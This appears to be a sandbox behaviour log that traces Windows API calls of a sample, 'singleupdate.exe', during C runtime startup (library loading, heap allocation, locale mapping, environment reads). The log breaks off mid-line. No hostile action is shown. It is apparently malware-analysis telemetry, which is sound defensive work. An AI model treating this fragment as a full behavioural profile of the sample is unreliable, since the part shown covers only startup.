# Flog Txt Version 1 # Analyzer Version: 3.0.1 # Analyzer Build Date: Apr 9 2019 11:17:16 # Log Creation Date: 12.04.2019 09:14:16.967 Process: id = "1" image_name = "singleupdate.exe" filename = "c:\\users\\fd1hvy\\desktop\\singleupdate.exe" page_root = "0x11acb000" os_pid = "0xfa0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x720 [0137.702] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0137.702] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0137.703] GetProcAddress (hModule=0x74ea0000, lpProcName=0x454058) returned 0x74f97060 [0137.703] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0137.704] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsAlloc") returned 0x74f9bea0 [0137.704] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsSetValue") returned 0x74f92550 [0137.705] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0137.705] GetProcAddress (hModule=0x74ea0000, lpProcName="InitializeCriticalSectionEx") returned 0x74f97060 [0137.705] GetProcessHeap () returned 0x7a0000 [0137.705] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0137.705] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsAlloc") returned 0x74f9bea0 [0137.705] GetLastError () returned 0xcb [0137.705] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsGetValue") returned 0x74f870c0 [0137.706] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsSetValue") returned 0x74f92550 [0137.706] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x364) returned 0x7c8af0 [0137.706] SetLastError (dwErrCode=0xcb) [0137.706] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xe00) returned 0x7c8e60 [0137.707] GetStartupInfoW (in: lpStartupInfo=0x19fe9c | out: lpStartupInfo=0x19fe9c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0137.707] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0137.708] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0137.708] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0137.708] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" " [0137.708] GetCommandLineW () returned="\"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" " [0137.708] GetACP () returned 0x4e4 [0137.708] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x220) returned 0x7b2748 [0137.708] IsValidCodePage (CodePage=0x4e4) returned 1 [0137.708] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19febc | out: lpCPInfo=0x19febc) returned 1 [0137.708] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f784 | out: lpCPInfo=0x19f784) returned 1 [0137.708] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0137.708] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x19f528, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㦨DĀ") returned 256 [0137.708] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㦨DĀ", cchSrc=256, lpCharType=0x19f798 | out: lpCharType=0x19f798) returned 1 [0137.708] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0137.708] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x19f4d8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0137.708] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0137.708] GetProcAddress (hModule=0x74ea0000, lpProcName="LCMapStringEx") returned 0x74f7ed00 [0137.708] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0137.709] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x19f2c8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0137.709] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x19fc98, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x4e\xb7\x50\xee\xd4\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0137.709] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0137.709] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x19f4f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㪾DĀ") returned 256 [0137.709] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㪾DĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0137.709] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㪾DĀ", cchSrc=256, lpDestStr=0x19f2e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0137.709] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x19fb98, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x4e\xb7\x50\xee\xd4\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0137.709] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x80) returned 0x7afe08 [0137.709] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19fce0, nSize=0x105 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\singleupdate.exe")) returned 0x28 [0137.709] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x75e90000 [0137.709] GetProcAddress (hModule=0x75e90000, lpProcName="AreFileApisANSI") returned 0x75ea4280 [0137.709] AreFileApisANSI () returned 1 [0137.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0137.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", cchWideChar=-1, lpMultiByteStr=0x49a678, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", lpUsedDefaultChar=0x0) returned 41 [0137.710] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x31) returned 0x7c9f58 [0137.711] RtlInitializeSListHead (in: ListHead=0x49a110 | out: ListHead=0x49a110) [0137.711] GetLastError () returned 0x0 [0137.711] SetLastError (dwErrCode=0x0) [0137.711] GetEnvironmentStringsW () returned 0x7c6b98* [0137.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x565) returned 0x7c5e88 [0137.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x7c5e88, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0137.711] FreeEnvironmentStringsW (penv=0x7c6b98) returned 1 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x94) returned 0x7ae760 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x1f) returned 0x7aad38 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x28) returned 0x7ba6e8 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x37) returned 0x7ca018 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x3c) returned 0x7b1fb0 [0137.711] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x31) returned 0x7c9e58 [0137.711] RtlAllocateHeap 